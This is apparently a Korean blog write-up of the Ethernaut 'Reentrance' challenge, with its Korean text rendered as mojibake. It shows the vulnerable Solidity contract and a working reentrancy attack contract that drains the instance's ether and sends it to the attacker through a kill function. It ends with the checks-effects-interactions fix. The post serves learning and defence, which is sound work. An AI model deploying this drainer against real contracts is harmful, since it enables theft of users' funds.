๋ฌธ์ ํด์ค์ ๋ค์ด๊ฐ๊ธฐ ์ , ์ด๋ฒ ํฌ์คํ ์ ์ด๋๋ ๋ด์์ ์ฝ์์ฐฝ๊ณผ ์ํธ์์ฉ์ ํ ์ค ์๊ณ ๊ธฐ๋ณธ์ ์ธ ๋ฆฌ๋ฏน์ค ๋ฐ ๋ฉํ๋ง์คํฌ ์ฌ์ฉ๋ฒ์ด ์์ง๋์ด ์๋ค๋ ๊ฐ์ ํ์ ํด์ค์ ์งํํฉ๋๋ค.
์ด๋ฒ ๋ฌธ์ ์ ๋ชฉํ๋ ์ปจํธ๋ํธ์ ๋ชจ์ธ funds๋ฅผ ํ์ทจํ๋ ๊ฒ์ด๋ค. ์ฐ์ ํํธ๋ฅผ ํ์ธํด๋ณด์
The DAO Hack ์ฌ๊ฑด์ผ๋ก ๋๋ฆฌ ์๋ ค์ง ์ฌ์ง์ ์ฑ ๊ณต๊ฒฉ์ ์ด๋ฒ 10๋จ๊ณ์์ ์ฒดํํด๋ณด์.
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances; // ์ฃผ์๋ณ๋ก ๊ธ์ก์ ๊ด๋ฆฌ
// ๊ธฐ๋ถ๋ฅผ ๋ฐ์ ๋, ํธ์ถ๋๋ ํจ์
function donate(address _to) public payable {
balances[_to] += msg.value;
}
// ๋๊ฐ ์ผ๋ง๋ ๊ธฐ๋ถ๋ฅผ ํ๋์ง ์ฒดํฌํ๋ ํจ์
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
// ์ธ์ถ ํจ์
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
donate ํจ์๋ฅผ ํตํด์ ์ธ๋ถ๋ก ๋ถํฐ msg.value๋งํผ ๊ธฐ๋ถ๋ฅผ ๋ฐ๋๋ค. ์ด๋, balances๋ผ๋ mapping ๊ตฌ์กฐ๋ฅผ ๋ง๋ค์ด์ ๋๊ฐ ์ผ๋ง๋ฅผ ๊ธฐ๋ถํ๋์ง๋ฅผ ์ฃผ์๋ณ๋ก ๊ธฐ๋ถ๊ธ์ก์ ๊ด๋ฆฌํ๋ค. ์ด๋๋ฌธ์, **balanceOf **ํจ์์์ ๋๊ฐ ์ผ๋ง๋ฅผ ๊ธฐ๋ถํ๋์ง ํ์ธ์ด ๊ฐ๋ฅํ๋ค. ๋ง์ง๋ง์ผ๋ก withdrawํจ์๊ฐ ์๋๋ฐ ์ด๊ณณ์ ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค. ์ฒซ๋ฒ์งธ if ๋ฌธ์์ ์ธ์ถํ๋ ค๋ ๊ธ์ก์ ํ์ธํ๊ณ ๋๋ฒ์งธ if ๋ฌธ์์ ํด๋ฐฑํจ์๋ฅผ ๋ถ๋ฌ amount๋งํผ ๊ธ์ก์ ์ธ์ถํ๊ณ ๋ง์ง๋ง์ผ๋ก ์ธ์ถํ ์(_amount)์ balances์์ ์ฐจ๊ฐํ๋ค.
์ฆ, ์ธ๋ถ ์ปจํธ๋ํธ์์ withdraw ํจ์๋ฅผ ํธ์ถํ๋ฉด ์์ ๋ balances์ ๊ธฐ๋ถ๊ธ์ก์ด ์ฐจ๊ฐ๋๊ธฐ ์ ์ด๋ฏ๋ก ์ธ์ถ์ด ๋ช ๋ฒ์ด๊ณ ๊ฐ๋ฅํ๋ค๋ ๋ป์ด๋ค. (์์ง ์ดํด๊ฐ ๋์ง ์์๋ ๊ด์ฐฎ๋ค. ๋งจ ์๋ ์๋ฐฉ ํ ์ ์๋ ์ฝ๋๋ฅผ ์ง์ ์ค์ตํด ๋ณธ๋ค๋ฉด ๊ฐ์ด ์ฌ ๊ฒ์ด๋ค.)
ํ์๊ฐ ์ง์ ์์ฑํ ์ฝ๋๋ณด๋ค ๊ตฌ๊ธ์์ ๋์๋ค๋๋ ์ฝ๋๊ฐ ๋ ์ข์ ๊ฒ ๊ฐ์์ ์ธ์ฉํ๋ค. (์ฃผ์ด์ง ์ฝ๋๋ฅผ ์ด๋ป๊ฒ ํ์ฉํด์ผ ํ๋์ง ๋ชจ๋ฅด๊ฒ๋ค๋ ๋๊ธ์ ๋ํ ๋ต๋ณ์ด ๋ ๊ฒ ๊ฐ๋ค!)
contract Hack {
address target;
address owner;
Reentrance re;
function Hack(address _target) { // target(Instance Address) ์ฃผ์๋ฅผ ๋ฃ๊ณ ๋ฐฐํฌํ๋ค.
target = _target;
owner = msg.sender; // ์ฌ์ค ํ์ ์์ง๋ง, killํจ์๋ฅผ ์ํด์ ์ฌ์ฉํ๋ค.
re = Reentrance(target);
}
function attack() public payable {
re.donate.value(0.1 ether)(this); // ์ด๊ฒ์ ํตํด์ target์ ๊ธฐ๋ถ๋ฅผํ๊ณ
re.withdraw(0.1 ether); // ๊ธฐ๋ถํ ๊ธ์ก๋งํผ ์ธ์ถํ๋ค
}
function() payable {
re.withdraw(0.1 ether);
}
// ETH๋ฅผ ์ผ๋ง๋ ๊ฐ์ง๊ณ ์๋์ง ์กฐํํ ์ ์๋ ํจ์
function ethBalance(address _who) public view returns(uint) {
return _who.balance;
}
// kill ํจ์๋ฅผ ํธ์ถํ๋ฉด Hack์ CA์ฃผ์๋ก ๋ด๊ธด ETH๊ฐ owner์ ์ฃผ์๋ก ์ด๋ํ๋ค.
function kill () {
require(msg.sender == owner);
selfdestruct(owner);
}
}
์ฐ๋ฆฌ๋ attackํจ์๋ฅผ ํตํด์ target์ 0.1์ด๋๋ฅผ ๊ธฐ๋ถํ๊ณ 0.1์ด๋๋ฅผ ์ด์ด์ ์ธ์ถํ๋ฉด ์๋์ผ๋ก ํด๋ฐฑํจ์๋ฅผ ํธ์ถํ๊ธฐ ๋๋ฌธ์, ์ง์ํด์ ์ธ์ถ์ ์๋ ํ ์ ์๋ค.
๋จผ์ ๋ฌธ์ ๋ฅผ ํ๊ธฐ ์ํด์ ์ฃผ์ด์ง Instance address๋ฅผ ๋ฆฌ๋ฏน์ค ๋ธ๋ผ์ฐ์ ์์ At Address๋ก ๋ถ๋ฌ์ค์
Hack ์ปจํธ๋ํธ์์, InstanceAddress์ ethBalance๋ฅผ ์ฒดํฌํด๋ณด๋ฉด ๊ธฐ๋ณธ์ ์ผ๋ก 1์ด๋๊ฐ ๋ค์ด์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ดํ, ๋ฆฌ๋ฏน์ค ์๋จ Value์ 0.1์ด๋๋ฅผ ๊ธฐ์ ํ๊ณ attack์ ํ๋ฉด 0.1์ด๋๋ฅผ ๊ธฐ๋ถํ๊ณ ์ด์ด์ ๊ธฐ๋ถ๊ธ์ ๋ค์ ์ธ์ถํ๋๋ฐ ๊ทธ๋ Hack์ ์๋ ํด๋ฐฑํจ์๋ฅผ ์คํ์์ผ์ ์ง์์ ์ผ๋ก 0.1์ด๋์ฉ ์ธ์ถํ๊ฒ ๋๋ค. Hack์ CA์ ์ ๋๋ก ETH๊ฐ ๋ค์ด์ ์๋์ง ํ์ธํด ๋ณด๋ ค๋ฉด ethBalance์ Hack์ ์ฃผ์๋ฅผ ๋ฃ๊ณ ํธ์ถํ๋ฉด, ์๋์ ๊ฐ์ด ์ด๋ ๊ธ์ก์ด ํ์๋๋ค.
ํ์์ ๊ฒฝ์ฐ, 1.1์ด๋๊ฐ ์๋๋ผ 1.3์ด๋๊ฐ ์๋ ์ด์ ๋ 2๋ฒ์ outofgas๋ฌธ์ ๋ก ํ์ทจํ์ง ๋ชปํ์ฑ InstanceAddress์ 2๋ฒ ๊ธฐ๋ถ๋ฅผ ํ์๊ณ 3๋ฒ์งธ ์๋์ ์ ๋๋ก ๋ ๊ฐ์ค ๊ณ์ฐ์ ํตํด์ ์ ์ก์ ํ์ทจํ๋๋ฐ ์ฑ๊ณตํ๋ค. ๊ทธ๋ฌ๋ฏ๋ก, attck ํจ์๋ฅผ ํธ์ถํ๋ ๊ฒฝ์ฐ ๊ฐ์ค๋น๋ฅผ ์ ๊ณ์ฐํ์ฌ ํจ์๋ฅผ ํธ์ถํ์!!
์ดํ Hack์ CA์ฃผ์์ ๋ด๊ธด ์ด๋๋ฅผ ์๊ธ ํ๊ธฐ ์ํด์ killํจ์๋ฅผ ํตํด ์์คํ ์ด๋๋ฅผ ๋์ ์ฃผ์๋ก ํ์ทจํ์.
๊ทธ๋ ๋ค๋ฉด, ์ฐ๋ฆฌ๋ ์์ ๊ฐ์ ์ฌ์ง์ ์ฑ ๋ฌธ์ ๋ฅผ ๋ง๊ธฐ ์ํด์๋ ์ด๋ป๊ฒ ์ฝ๋ฉ์ ํด์ผ ํ ๊น?
์ก๊ธ๊ณผ ๊ด๋ จํ์ฌ ์์ ํ ์ฝ๋ฉ์ ์ํด์๋ Condition - Effects - Interation ํจํด์ ์ง๋ pullํ payable์ ์ฌ์ฉํด์ผํ๋ค.
Condition
ํจ์๋ฅผ ์คํํ๋ ์กฐ๊ฑด์ ํ์ธํ๊ณ ์กฐ๊ฑด์ด ์ ํจํ์ง ์์ ๋๋ ์ฒ๋ฆฌ๋ฅผ ์ค๋จ
Effects
์ํ๋ฅผ ์ ๋ฐ์ดํธ (ex : ๊ฒฝ๋งค์ผ ๊ฒฝ์ฐ, ๋ฐํ ๊ธ์ก ์ฌ๊ธฐ ์๋ด์ผํจ ์ ์ ํ ์์๋ก)
Interaction
๋ค๋ฅธ ์ปจํธ๋ํธ์ ๋ฉ์์ง๋ฅผ ๋ณด๋ธ๋ค (ex : ์ ์ฐฐ๊ธ)
CEIํจํด์ ์งํค๊ธฐ ์ํด์๋ ์ฒ์์ ์ฃผ์ด์ง ์ฝ๋๋ฅผ ์๋์ ๊ฐ์ด ์์ ํ๋ฉด ๋๋ค.
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
balances[msg.sender] -= _amount;
if(msg.sender.call.value(_amount)()) {
_amount;
}
}
}
์ง์ ๋ฆฌ๋ฏน์ค ์๋ฐ์คํฌ๋ฆฝํธ VMํ๊ฒฝ์์ ์์ ๋ ์ฝ๋๋ฅผ ๋ฐฐํฌํ์ฌ ์คํ์ ํด๋ณด๋ฉด ํ์คํ๊ฒ ์ ์ ์๋ค.
๊ทธ๋ผ, ๋ค์๋ฒ์๋ 11๋จ๊ณ Elevator์์ ๋ง๋์!